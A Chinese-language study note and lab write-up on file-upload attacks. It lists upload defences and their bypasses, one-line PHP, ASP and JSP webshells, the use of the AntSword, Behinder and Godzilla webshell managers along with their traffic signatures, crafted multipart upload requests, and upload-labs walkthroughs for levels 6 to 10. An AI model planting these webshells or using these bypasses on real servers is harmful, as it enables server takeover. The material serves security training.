1.文件上传防御及绕过
防御
客户端检测
使用前端js代码判断文件是否合规,特点是会有浏览器弹窗
MIME检测
检测content-type头,类型不合规的会被过滤
文件后缀检测
有白名单和黑名单两类,只准上传白名单内的后缀或者禁止上传黑名单内的后缀
文件内容检测
检测文件内部是否有异常数据,如<?
,eval
,assert
等敏感字符,检测到则不允许上传
或者是检测允许上传的图片文件中的特征字符,比如GIF89a
等gif文件特有的字符
文件重写
有的处理方式比如图片二次渲染,可能会将含有木马附近的代码段重构导致木马被覆盖,还有上传文件后依赖时间戳等方式重命名文件,导致攻击者无法连接
存储桶
定义:存储桶(Bucket)是对象的载体,可理解为存放对象的“容器”,且该“容器”无容量上限。对象以扁平化结构存放在存储桶中,无文件夹和目录的概念,用户可选择将对象存放到单个或多个存储桶中
只有特定被授权的用户才能对存储桶中的对象有读写权限,攻击者无权限利用
限制文件大小
当上传的文件过大时,会消耗过多服务器资源,很多个大文件上传可能会造成dos攻击,影响服务器
绕过
客户端绕过
禁用js代码或者删除前端对应检测代码
MIME检测绕过
修改content-type头使其符合标准,例如上传图片时的content-type是image/png
,image/jpeg
等
文件后缀检测绕过
利用windows系统处理文件特性,比如在文件后缀加上点,空格,::$DATA
等字符,或者00截断(php版本要<5.3.29)
文件内容检测
使用一些冷门的函数或者通过编码转换来绕过检测名单
2.常用一句话木马
php
<?php eval($_POST['cmd']); ?>
<?php assert($_POST['cmd']); ?>
<script language="php">eval($_POST['cmd']);</script>
asp
<%eval request(“x”)%>
%><%eval request(“x”)%><%
jsp
<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
3.webshell管理工具使用
antsword
1.上传文件
上传一句话木马文件,这里测试文件传在本机网站根目录下,命名为antsword.php
,内容为
<?php @eval($_POST['ant']);?>
2.开启代理
打开antsword,左上角代理设置,配置本机burp端口代理
3.进行连接抓包
地址为http://127.0.0.1/antsword.php
,密码为ant
可以看到burp中抓到一个连接包,内容
4.流量分析
每个请求体都以@ini_set(“diplay_erors”,“0”);@set_time_limit(0)开头,并且后面存在base64等字符(使用base64加密情况下)
behinder
1.上传文件
在冰蝎的server
目录下,含有各种语言的冰蝎马,这里选择php木马上传
2.开启代理
启动冰蝎java -jar behinder.jar
左上角“代理”,设置代理为burp端口代理
3.进行连接抓包
路径:http://127.0.0.1/shell.php
连接成功返回phpinfo();
burp抓包:
4.流量分析
请求头:
Content-type: Application/x-www-form-urlencoded
Accept:application/json, text/javascript, */*; q=0.01
冰蝎内置有10种UA,可针对UA头进行匹配拦截
godzilla
1.上传文件
godzilla左上角管理->生成,可直接生成php木马,将文件上传到目录下
2.开启代理
左上角,选择配置->程序配置->全局代理,选择burp代理端口
3.进行连接抓包
左上角,选择目标->添加
配置如上信息,点击测试连接可以成功连接,查看抓包,可以看到godzilla发送了三个请求包,此为godzilla连接的一大特征(一个http请求中有三个tcp请求)
4.流量分析
在第二次和第三次请求中发现cookie值末尾有一个;
号,这是该工具连接的强特征
请求包中:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
返回包中:
Cache-Control: no-store, no-cache, must-revalidate
4.文件上传无回显查找webshell地址
1.目录扫描
通过目录扫描看是否有类似于存放上传文件的目录路径如upload
等目录,假定文件上传到该目录,进行连接测试
2.源码审计
如果能百度搜索到源代码,可以通过审计观察文件上传路径和文件上传后的改名规则(如果有)
5.文件上传表单的无参/有参情况下构造表单
有的页面开发没有设置页面上传功能,但是所使用的框架在该页面有一个文件上传的接口没有关闭,那么我们可以手动构造文件上传表单来上传木马文件
无参
指在表单提交时,只包含文件上传的部分,没有其他数据参数一同提交。用户只能选择要上传的文件,而没有其他额外的信息需要传递,例如(因为只抓包请求包分析,所以这里只写了个提交表单):
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>upload_pic<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="upload"/>
</form>
请求包:
Content-Type: multipart/form-data; boundary=---------------------------16922290296533879303975420775
Content-Length: 387
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/load.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-----------------------------16922290296533879303975420775
Content-Disposition: form-data; name="upload_file"; filename="up.php"
Content-Type: application/octet-stream
<?php @eval($_POST['cmd']);?>
-----------------------------16922290296533879303975420775
Content-Disposition: form-data; name="submit"
upload
-----------------------------16922290296533879303975420775--
有参
指在表单提交时,除了文件上传外,还会携带额外的数据参数一起提交。这些额外的参数可以是文本框中的输入内容、下拉框选择项等,用户可以输入或选择这些信息并与上传的文件一同提交
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>upload_pic<p>
<input type="text" name="name" value="111">
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="upload"/>
</form>
请求包:
Content-Type: multipart/form-data; boundary=---------------------------284652686614128081221107960525
Content-Length: 503
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/load.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-----------------------------284652686614128081221107960525
Content-Disposition: form-data; name="name"
111
-----------------------------284652686614128081221107960525
Content-Disposition: form-data; name="upload_file"; filename="up.php"
Content-Type: application/octet-stream
<?php @eval($_POST['cmd']);?>
-----------------------------284652686614128081221107960525
Content-Disposition: form-data; name="submit"
upload
-----------------------------284652686614128081221107960525--
构造总结
1.content-type=multipart/form-data; boundary=---------------------------284652686614128081221107960525
,boundary后面跟随的-
和数据随机,只起一个分割符的作用分割上传的每项数据,但是每个分割符的数据要一致
2.其他的请求头皆为正常文件上传请求头,不用变
3.针对上传的文件格式
-----------------------------16922290296533879303975420775
Content-Disposition: form-data; name="upload_file"; filename="up.php"
Content-Type: application/octet-stream
<?php @eval($_POST['cmd']);?>
-----------------------------16922290296533879303975420775
固定格式有
-----------------------------
Content-Disposition: form-data; name="upload_file"; filename="up.php"
[固定Content-Disposition,后面属性自己定]
Content-Type: application/octet-stream[固定响应头]
<?php @eval($_POST['cmd']);?>[文件内容]
-----------------------------
4.其他参数格式
-----------------------------
Content-Disposition: form-data; name="name"[固定格式]
111[value值]
-----------------------------
6.upload闯关
第六关
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
查看源码,发现过滤的后缀名都是小写的,这里采用大小写混淆,使用.phP
后缀进行绕过
回传的前端代码中定位到上传文件地址,路径拼接进行访问
http://127.0.0.1/upload-labs-master/upload/202409032258473538.phP
但这里发现服务器返回500
原因:Apache默认情况下不区分文件后缀名的大小写,这里切换成nginx服务器进行访问
如下,访问成功
第七关
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
查看源码,发现有函数将后缀转为小写,上一关绕过失效,接着查看源码,发现并没有对文件后缀进行去空格处理直接匹配的黑名单,这里可以利用windows文件命名规则在后缀后面加上空格绕过,如php
,在解析文件时会将末尾空格省略,所以最终上传的还是一个正常的php文件
发现回显代码中上传文件路径,进行拼接,能够成功访问
<img src="../upload/202409031637287327.php " width="250px" />
http://127.0.0.1/upload-labs-master/upload/202409031637287327.php
第八关
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
查看代码,发现做了文件后缀去空,但是没做后缀去点,windows文件命名会省略掉末尾的点
查看回显代码中上传文件路径,进行拼接,能够成功访问
第九关
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
查看源码,发现没有过滤::$DATA
字段,windows对于::$DATA
文件流,在文件流后所有东西都按流进行处理,而不会判断文件名,利用该特性这里可以上传.php::$DATA
文件,上传成功
访问文件
第十关
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
查看源码,发现该段代码是先去末尾空格,再去末尾点号,只执行一次,于是可以burp改包构造后缀.php. .
,经过函数处理后后缀会变成.php.
,windows会解析为php文件,成功上传
访问如下